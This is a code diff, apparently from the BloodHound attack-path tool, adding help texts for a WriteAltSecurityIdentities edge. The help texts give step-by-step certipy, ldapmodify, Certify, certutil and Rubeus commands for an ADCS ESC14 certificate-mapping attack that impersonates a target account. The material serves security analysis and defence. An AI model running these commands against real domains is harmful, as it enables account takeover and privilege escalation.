azure.PrivilegedRoleAdmin, azure.ResetPassword, azure.UserAccessAdministrator, azure.Owns, azure.CloudAppAdmin, azure.AppAdmin, azure.AddOwner, azure.ManagedIdentity, azure.AKSContributor, azure.NodeResourceGroup, azure.WebsiteContributor, azure.LogicAppContributor, azure.AZMGAddMember, azure.AZMGAddOwner, azure.AZMGAddSecret, azure.AZMGGrantAppRoles, azure.AZMGGrantRole, azure.SyncedToADUser, azure.AZRoleEligible, azure.AZRoleApprover} } func OutboundRelationshipKinds() []graph.Kind { - return []graph.Kind{ad.Owns, ad.GenericAll, ad.GenericWrite, ad.WriteOwner, ad.WriteDACL, ad.MemberOf, ad.ForceChangePassword, ad.AllExtendedRights, ad.AddMember, ad.HasSession, ad.AllowedToDelegate, ad.CoerceToTGT, ad.AllowedToAct, ad.AdminTo, ad.CanPSRemote, ad.CanRDP, ad.ExecuteDCOM, ad.HasSIDHistory, ad.AddSelf, ad.DCSync, ad.ReadLAPSPassword, ad.ReadGMSAPassword, ad.DumpSMSAPassword, ad.SQLAdmin, ad.AddAllowedToAct, ad.WriteSPN, ad.AddKeyCredentialLink, ad.SyncLAPSPassword, ad.WriteAccountRestrictions, ad.WriteGPLink, ad.GoldenCert, ad.ADCSESC1, ad.ADCSESC3, ad.ADCSESC4, ad.ADCSESC6a, ad.ADCSESC6b, ad.ADCSESC9a, ad.ADCSESC9b, ad.ADCSESC10a, ad.ADCSESC10b, ad.ADCSESC13, ad.SyncedToEntraUser, ad.CoerceAndRelayNTLMToSMB, ad.CoerceAndRelayNTLMToADCS, ad.WriteOwnerLimitedRights, ad.OwnsLimitedRights, ad.ClaimSpecialIdentity, ad.CoerceAndRelayNTLMToLDAP, ad.CoerceAndRelayNTLMToLDAPS, ad.ContainsIdentity, ad.PropagatesACEsTo, ad.GPOAppliesTo, ad.CanApplyGPO, ad.HasTrustKeys, ad.DCFor, azure.AvereContributor, azure.Contributor, azure.GetCertificates, azure.GetKeys, azure.GetSecrets, azure.HasRole, azure.MemberOf, azure.Owner, azure.RunsAs, azure.VMContributor, azure.AutomationContributor, azure.KeyVaultContributor, azure.VMAdminLogin, azure.AddMembers, azure.AddSecret, azure.ExecuteCommand, azure.GlobalAdmin, azure.PrivilegedAuthAdmin, azure.Grant, azure.GrantSelf, azure.PrivilegedRoleAdmin, azure.ResetPassword, azure.UserAccessAdministrator, azure.Owns, azure.CloudAppAdmin, azure.AppAdmin, azure.AddOwner, azure.ManagedIdentity, azure.AKSContributor, azure.NodeResourceGroup, azure.WebsiteContributor, azure.LogicAppContributor, azure.AZMGAddMember, azure.AZMGAddOwner, azure.AZMGAddSecret, azure.AZMGGrantAppRoles, azure.AZMGGrantRole, azure.SyncedToADUser, azure.AZRoleEligible, azure.AZRoleApprover} + return []graph.Kind{ad.Owns, ad.GenericAll, ad.GenericWrite, ad.WriteOwner, ad.WriteDACL, ad.MemberOf, ad.ForceChangePassword, ad.AllExtendedRights, ad.AddMember, ad.HasSession, ad.AllowedToDelegate, ad.CoerceToTGT, ad.AllowedToAct, ad.AdminTo, ad.CanPSRemote, ad.CanRDP, ad.ExecuteDCOM, ad.HasSIDHistory, ad.AddSelf, ad.DCSync, ad.ReadLAPSPassword, ad.ReadGMSAPassword, ad.DumpSMSAPassword, ad.SQLAdmin, ad.AddAllowedToAct, ad.WriteSPN, ad.AddKeyCredentialLink, ad.SyncLAPSPassword, ad.WriteAccountRestrictions, ad.WriteGPLink, ad.GoldenCert, ad.ADCSESC1, ad.ADCSESC3, ad.ADCSESC4, ad.ADCSESC6a, ad.ADCSESC6b, ad.ADCSESC9a, ad.ADCSESC9b, ad.ADCSESC10a, ad.ADCSESC10b, ad.ADCSESC13, ad.SyncedToEntraUser, ad.CoerceAndRelayNTLMToSMB, ad.CoerceAndRelayNTLMToADCS, ad.WriteOwnerLimitedRights, ad.OwnsLimitedRights, ad.ClaimSpecialIdentity, ad.CoerceAndRelayNTLMToLDAP, ad.CoerceAndRelayNTLMToLDAPS, ad.ContainsIdentity, ad.PropagatesACEsTo, ad.GPOAppliesTo, ad.CanApplyGPO, ad.HasTrustKeys, ad.WriteAltSecurityIdentities, ad.WritePublicInformation, ad.DCFor, azure.AvereContributor, azure.Contributor, azure.GetCertificates, azure.GetKeys, azure.GetSecrets, azure.HasRole, azure.MemberOf, azure.Owner, azure.RunsAs, azure.VMContributor, azure.AutomationContributor, azure.KeyVaultContributor, azure.VMAdminLogin, azure.AddMembers, azure.AddSecret, azure.ExecuteCommand, azure.GlobalAdmin, azure.PrivilegedAuthAdmin, azure.Grant, azure.GrantSelf, azure.PrivilegedRoleAdmin, azure.ResetPassword, azure.UserAccessAdministrator, azure.Owns, azure.CloudAppAdmin, azure.AppAdmin, azure.AddOwner, azure.ManagedIdentity, azure.AKSContributor, azure.NodeResourceGroup, azure.WebsiteContributor, azure.LogicAppContributor, azure.AZMGAddMember, azure.AZMGAddOwner, azure.AZMGAddSecret, azure.AZMGGrantAppRoles, azure.AZMGGrantRole, azure.SyncedToADUser, azure.AZRoleEligible, azure.AZRoleApprover} } type Property string diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/AdcsEsc14ScenarioA/AdcsEsc14ScenarioA.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/AdcsEsc14ScenarioA/AdcsEsc14ScenarioA.tsx new file mode 100644 index 0000000000..de86b20c69 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/AdcsEsc14ScenarioA/AdcsEsc14ScenarioA.tsx @@ -0,0 +1,220 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Link, Typography } from '@mui/material'; +import { FC } from 'react'; +import CodeController from '../CodeController/CodeController'; + +export const AltSecIdenitiesBlurb = () => ( + + The permission also grants write access to the "altSecurityIdentities" attribute, which enables an ADCS ESC14 + Scenario A attack. + +); + +export const AdcsEsc14ScenarioALinux: FC = () => ( + <> + ADCS ESC14 Scenario A + + An attacker can add an explicit certificate mapping in the AltSecurityIdentities of the target referring to + a certificate in the attacker's possession, and then use this certificate to authenticate as the target. + + + The certificate must meet the following requirements: +
    +
  1. Chain up to trusted root CA on the DC
  2. +
  3. Enhanced Key Usage extension contains an EKU that enables domain authentication
  4. +
  5. Subject Alternative Name (SAN) does NOT contain a "Other Name/Principal Name" entry (UPN)
  6. +
+

+ The EKUs that enable domain authentication over Kerberos: +

+

+

+ The last certificate requirement means that user certificates will not work, so the certificate + typically must be of a computer. By default, the ADCS certificate template Computer (Machine){' '} + meets these requirements and grants Domain Computers enrollment rights. The target can still be a user. +

+ The last requirement does not have to be met if a DC has UPN mapping disabled (see{' '} + + How to disable the Subject Alternative Name for UPN mapping + + ). +
+ + Obtain a certificate meeting the above requirements for example by dumping a certificate from a computer, or + enrolling a new certificate as a computer: + + + {'certipy req -u computername -p Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC14'} + + + If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot + be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have + their mail or dNSHostName attribute set, which is required by the certificate template. The mail attribute + can be set on both user and computer objects but the dNSHostName attribute can only be set on computer + objects. Computers have validated write permission to their own dNSHostName attribute by default, but + neither users nor computers can write to their own mail attribute by default. + + + The abuse is possible with the strong explicit certificate mappings X509IssuerSerialNumber or + X509SHA1PublicKey. In this example, we use X509SHA1PublicKey. + + Get the SHA1 hash of the certificate using openssl: + + {`openssl pkcs12 -info -in computername.pfx -nokeys | openssl x509 -noout -sha1 -fingerprint | tr -d ':' | tr '[:upper:]' '[:lower:]' +… +sha1 fingerprint=f61331a504cff8cb5e60c269632c31aa3032a54a`} + + + Use ldapmodify to add the explicit certificate mapping string to the 'altSecurityIdentities' attribute of + the target principal: + + + { + 'echo -e "dn: CN=Target,CN=Users,DC=forestroot,DC=com\nchangetype: modify\nadd: altSecurityIdentities\naltSecurityIdentities: X509:f61331a504cff8cb5e60c269632c31aa3032a54a" | ldapmodify -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w \'PWD\' -h forestroot.com' + } + + Verify the that the mapping was added using ldapsearch: + + { + 'ldapsearch -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w \'PWD\' -h "forestroot.com" -b "CN=Target,CN=Users,DC=forestroot,DC=com" altSecurityIdentities' + } + + + Request a ticket granting ticket (TGT) from the domain using Certipy, specifying the certificate and the IP + of a DC: + + {'certipy auth -pfx computername.pfx -dc-ip 172.16.126.128'} + + After the execution of the abuse, use ldapmodify to remove the explicit certificate mapping string from the + 'altSecurityIdentities' attribute of the target principal: + + + { + 'echo -e "dn: CN=Target,CN=Users,DC=forestroot,DC=com\nchangetype: modify\ndelete: altSecurityIdentities\naltSecurityIdentities: X509:f61331a504cff8cb5e60c269632c31aa3032a54a" | ldapmodify -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w \'PWD\' -h forestroot.com' + } + + +); + +export const AdcsEsc14ScenarioAWindows: FC = () => { + return ( + <> + ADCS ESC14 Scenario A + + An attacker can add an explicit certificate mapping in the altSecurityIdentities of the target referring + to a certificate in the attacker's possession, and then use this certificate to authenticate as the + target. + + + The certificate must meet the following requirements: +
    +
  1. Chain up to trusted root CA on the DC
  2. +
  3. Enhanced Key Usage extension contains an EKU that enables domain authentication
  4. +
  5. Subject Alternative Name (SAN) does NOT contain a "Other Name/Principal Name" entry (UPN)
  6. +
+

+ The EKUs that enable domain authentication over Kerberos: +

+

+

+ The last certificate requirement means that user certificates will not work, so the certificate + typically must be of a computer. By default, the ADCS certificate template Computer (Machine){' '} + meets these requirements and grants Domain Computers enrollment rights. The target can still be a + user. +

+ The last requirement does not have to be met if a DC has UPN mapping disabled (see{' '} + + How to disable the Subject Alternative Name for UPN mapping + + ). +
+ + Obtain a certificate meeting the above requirements for example by dumping a certificate from a + computer, or enrolling a new certificate as a computer using Certify (2.0): + + + { + 'Certify.exe request --ca ca01.forestroot.com\\Forestroot-CA01-CA --template Machine --machine --output-pem' + } + + + Save the certificate as cert.pem and the private key as cert.key. Use certutil to obtain the certificate + as a PFX file: + + {'certutil.exe -MergePFX .\\cert.pem .\\cert.pfx'} + + The abuse is possible with the strong explicit certificate mappings X509IssuerSerialNumber or + X509SHA1PublicKey. In this example, we use X509SHA1PublicKey. + + Get the SHA1 hash of the certificate public key using certutil: + + {`certutil.exe -dump -v .\\cert.pfx +… +Cert Hash(sha1): ef9375785421d3ad286d8bdeb166f0f697266992 +…`} + + + Use Add-AltSecIDMapping to add the explicit certificate mapping string to the 'altSecurityIdentities' + attribute of the target principal: + + + { + 'Add-AltSecIDMapping -DistinguishedName "CN=Target,CN=Users,DC=forestroot,DC=com" -MappingString "X509:ef9375785421d3ad286d8bdeb166f0f697266992"' + } + + Verify the that the mapping was added using Get-AltSecIDMapping: + + {'Get-AltSecIDMapping -SearchBase "CN=Target,CN=Users,DC=forestroot,DC=com"'} + + + Use Rubeus to request a ticket granting ticket (TGT) from the domain, specifying the target identity, + and the PFX-formatted certificate: + + + {'Rubeus asktgt /user:"forestroot\\target" /certificate:cert.pfx /ptt'} + + + After the execution of the abuse, use Remove-AltSecIDMapping to remove the explicit certificate mapping + string from the 'altSecurityIdentities' attribute of the target principal: + + + { + 'Remove-AltSecIDMapping -DistinguishedName "CN=Target,CN=Users,DC=forestroot,DC=com" -MappingString "X509:ef9375785421d3ad286d8bdeb166f0f697266992"' + } + + + ); +}; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/AdcsEsc14ScenarioA/index.ts b/packages/javascript/bh-shared-ui/src/components/HelpTexts/AdcsEsc14ScenarioA/index.ts new file mode 100644 index 0000000000..70468946a4 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/AdcsEsc14ScenarioA/index.ts @@ -0,0 +1,17 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +export { AdcsEsc14ScenarioALinux, AdcsEsc14ScenarioAWindows } from './AdcsEsc14ScenarioA'; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericAll/LinuxAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericAll/LinuxAbuse.tsx index 3598e0619c..c85038c1e7 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericAll/LinuxAbuse.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericAll/LinuxAbuse.tsx @@ -16,6 +16,7 @@ import { Link, Typography } from '@mui/material'; import { FC } from 'react'; +import { AdcsEsc14ScenarioALinux } from '../AdcsEsc14ScenarioA'; import { EdgeInfoProps } from '../index'; const LinuxAbuse: FC = ({ @@ -154,6 +155,7 @@ const LinuxAbuse: FC = ( For other optional parameters, view the pyWhisker documentation. + ); case 'Computer': @@ -274,6 +276,7 @@ const LinuxAbuse: FC = ( For other optional parameters, view the pyWhisker documentation. + ); } else { @@ -327,6 +330,7 @@ const LinuxAbuse: FC = ( For other optional parameters, view the pyWhisker documentation. + ); } diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericAll/References.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericAll/References.tsx index 01d7bce6dc..d53a6f95eb 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericAll/References.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericAll/References.tsx @@ -20,13 +20,6 @@ import { FC } from 'react'; const References: FC = () => { return ( - - https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 - -
https://www.youtube.com/watch?v=z8thoG7gPd0 @@ -169,6 +162,13 @@ const References: FC = () => { https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
+ + https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9 + +
= equivalent to the "AddKeyCredentialLink" edge. + + Alternatively, GenericAll enables {sourceName} to set a ServicePrincipalName (SPN) on the targeted user, which may be abused in a Targeted Kerberoast attack. @@ -169,6 +172,8 @@ const WindowsAbuse: FC = For other optional parameters, view the Whisker documentation. + + Targeted Kerberoast attack @@ -230,6 +235,8 @@ const WindowsAbuse: FC = Constrained Delegation attack. + + Retrieve LAPS Password For systems using legacy LAPS, the following AD computer object properties are relevant: @@ -364,6 +371,8 @@ const WindowsAbuse: FC = 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } + + ); } else { @@ -381,6 +390,8 @@ const WindowsAbuse: FC = Constrained Delegation attack. + + Shadow Credentials attack To abuse the permission, use Whisker. @@ -465,6 +476,8 @@ const WindowsAbuse: FC = 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } + + ); } diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/LinuxAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/LinuxAbuse.tsx index 0c6c338060..9b1bbfb7c4 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/LinuxAbuse.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/LinuxAbuse.tsx @@ -16,6 +16,7 @@ import { Link, Typography } from '@mui/material'; import { FC } from 'react'; +import { AdcsEsc14ScenarioALinux } from '../AdcsEsc14ScenarioA'; import { EdgeInfoProps } from '../index'; const LinuxAbuse: FC = ({ targetType }) => { @@ -109,6 +110,7 @@ const LinuxAbuse: FC = ({ targetType }) => { For other optional parameters, view the pyWhisker documentation. + ); case 'Computer': @@ -162,6 +164,7 @@ const LinuxAbuse: FC = ({ targetType }) => { For other optional parameters, view the pyWhisker documentation. + ); case 'GPO': diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/References.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/References.tsx index a4549ac9f6..df61aa84fa 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/References.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/References.tsx @@ -110,6 +110,13 @@ const References: FC = () => { href='https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53'> https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53 +
+ + https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9 +
); }; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/WindowsAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/WindowsAbuse.tsx index f18585e1d3..b7bd0b7c25 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/WindowsAbuse.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/GenericWrite/WindowsAbuse.tsx @@ -16,6 +16,7 @@ import { Link, Typography } from '@mui/material'; import { FC } from 'react'; +import { AdcsEsc14ScenarioAWindows, AltSecIdenitiesBlurb } from '../AdcsEsc14ScenarioA'; import { EdgeInfoProps } from '../index'; const WindowsAbuse: FC = ({ sourceName, sourceType, targetName, targetType }) => { @@ -73,6 +74,7 @@ const WindowsAbuse: FC = ({ sourceName, sourceType, targetName, t on the object and authenticate as the principal using kerberos PKINIT. This is equivalent to the "AddKeyCredentialLink" edge. + Alternatively, GenericWrite enables {sourceName} to set a ServicePrincipalName (SPN) on the targeted user, which may be abused in a Targeted Kerberoast attack. @@ -94,7 +96,7 @@ const WindowsAbuse: FC = ({ sourceName, sourceType, targetName, t For other optional parameters, view the Whisker documentation. - + Targeted Kerberoast attack @@ -181,6 +183,8 @@ const WindowsAbuse: FC = ({ sourceName, sourceType, targetName, t Constrained Delegation attack. + + Shadow Credentials attack To abuse the permission, use Whisker. @@ -265,6 +269,8 @@ const WindowsAbuse: FC = ({ sourceName, sourceType, targetName, t 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } + + ); case 'OU': diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/Owns/LinuxAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/Owns/LinuxAbuse.tsx index 809e77acea..eae9bed84b 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/Owns/LinuxAbuse.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/Owns/LinuxAbuse.tsx @@ -16,6 +16,7 @@ import { Link, Typography } from '@mui/material'; import { FC } from 'react'; +import { AdcsEsc14ScenarioALinux } from '../AdcsEsc14ScenarioA'; import { EdgeInfoProps } from '../index'; const LinuxAbuse: FC = ({ @@ -201,6 +202,7 @@ const LinuxAbuse: FC = ( For other optional parameters, view the pyWhisker documentation. + ); case 'Computer': @@ -319,6 +321,7 @@ const LinuxAbuse: FC = ( For other optional parameters, view the pyWhisker documentation. + ); } else { @@ -392,6 +395,7 @@ const LinuxAbuse: FC = ( For other optional parameters, view the pyWhisker documentation. + ); } diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/Owns/References.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/Owns/References.tsx index fe2d54996d..a05db90c03 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/Owns/References.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/Owns/References.tsx @@ -144,6 +144,13 @@ const References: FC = () => { https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
+ + https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9 + +
= equivalent to the "AddKeyCredentialLink" edge. + + Alternatively, GenericAll enables {sourceName} to set a ServicePrincipalName (SPN) on the targeted user, which may be abused in a Targeted Kerberoast attack. @@ -234,6 +237,8 @@ const WindowsAbuse: FC = For other optional parameters, view the Whisker documentation. + + Targeted Kerberoast attack @@ -322,6 +327,8 @@ const WindowsAbuse: FC = Constrained Delegation attack. + + Retrieve LAPS Password For systems using legacy LAPS, the following AD computer object properties are relevant: @@ -456,6 +463,8 @@ const WindowsAbuse: FC = 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } + + ); } else { @@ -500,6 +509,8 @@ const WindowsAbuse: FC = Constrained Delegation attack. + + Shadow Credentials attack To abuse the permission, use Whisker. @@ -584,6 +595,8 @@ const WindowsAbuse: FC = 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } + + ); } diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/General.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/General.tsx new file mode 100644 index 0000000000..527b92b780 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/General.tsx @@ -0,0 +1,40 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Typography } from '@mui/material'; +import { FC } from 'react'; +import { EdgeInfoProps } from '../index'; +import { groupSpecialFormat, typeFormat } from '../utils'; + +const General: FC = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + <> + + {groupSpecialFormat(sourceType, sourceName)} the ability to write to the AltSecurityIdentities attribute + of the {typeFormat(targetType)} {targetName}. + + + + The altSecurityIdentities attribute allows you to specify explicit certificate mappings for a + principal. An explicit certificate mapping directly links a specific certificate to the principal, as an + alternative to the normal certificate-to-account mapping rules and allowing authentication as that + principal. + + + ); +}; + +export default General; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/LinuxAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/LinuxAbuse.tsx new file mode 100644 index 0000000000..81b71d343d --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/LinuxAbuse.tsx @@ -0,0 +1,32 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Typography } from '@mui/material'; +import { FC } from 'react'; +import { AdcsEsc14ScenarioALinux } from '../AdcsEsc14ScenarioA'; + +const LinuxAbuse: FC = () => { + return ( + <> + + The write access to the AltSecurityIdentities may enable an ADCS ESC14 Scenario A attack. + + + + ); +}; + +export default LinuxAbuse; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/Opsec.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/Opsec.tsx new file mode 100644 index 0000000000..d3b0605115 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/Opsec.tsx @@ -0,0 +1,33 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Typography } from '@mui/material'; +import { FC } from 'react'; + +const Opsec: FC = () => { + return ( + <> + + When the affected certificate authority issues the certificate to the attacker, it will retain a local + copy of that certificate in its issued certificates store. Defenders may analyze those issued + certificates to identify illegitimately issued certificates and identify the principal that requested + the certificate. + + + ); +}; + +export default Opsec; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/References.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/References.tsx new file mode 100644 index 0000000000..eea50765b3 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/References.tsx @@ -0,0 +1,99 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Box, Link } from '@mui/material'; +import { FC } from 'react'; + +const References: FC = () => { + return ( + + + MITRE ATT&CK - Account Manipulation + +
+ + ADCS ESC14 Abuse Technique + +
+ + Certified Pre-Owned - Abusing Active Directory Certificate Services + +
+ + How to disable the Subject Alternative Name for UPN mapping + +
+ + Certipy + +
+ + Certify + +
+ + Rubeus + +
+ + Add-AltSecIDMapping.ps1 + +
+ + Get-AltSecIDMapping.ps1 + +
+ + Remove-AltSecIDMapping.ps1 + +
+ + ldapsearch + +
+ + ldapmodify + +
+ + certutil + +
+ ); +}; + +export default References; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/WindowsAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/WindowsAbuse.tsx new file mode 100644 index 0000000000..a1e3d32c57 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/WindowsAbuse.tsx @@ -0,0 +1,33 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Typography } from '@mui/material'; +import { FC } from 'react'; +import { AdcsEsc14ScenarioAWindows } from '../AdcsEsc14ScenarioA'; +import { EdgeInfoProps } from '../index'; + +const WindowsAbuse: FC = () => { + return ( + <> + + The write access to the AltSecurityIdentities may enable an ADCS ESC14 Scenario A attack. + + + + ); +}; + +export default WindowsAbuse; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/WriteAltSecurityIdentities.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/WriteAltSecurityIdentities.tsx new file mode 100644 index 0000000000..2ce28facff --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteAltSecurityIdentities/WriteAltSecurityIdentities.tsx @@ -0,0 +1,31 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import General from './General'; +import LinuxAbuse from './LinuxAbuse'; +import Opsec from './Opsec'; +import References from './References'; +import WindowsAbuse from './WindowsAbuse'; + +const WriteAltSecurityIdentities = { + general: General, + windowsAbuse: WindowsAbuse, + linuxAbuse: LinuxAbuse, + opsec: Opsec, + references: References, +}; + +export default WriteAltSecurityIdentities; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteDacl/LinuxAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteDacl/LinuxAbuse.tsx index 9494b37555..956a19b108 100644 --- 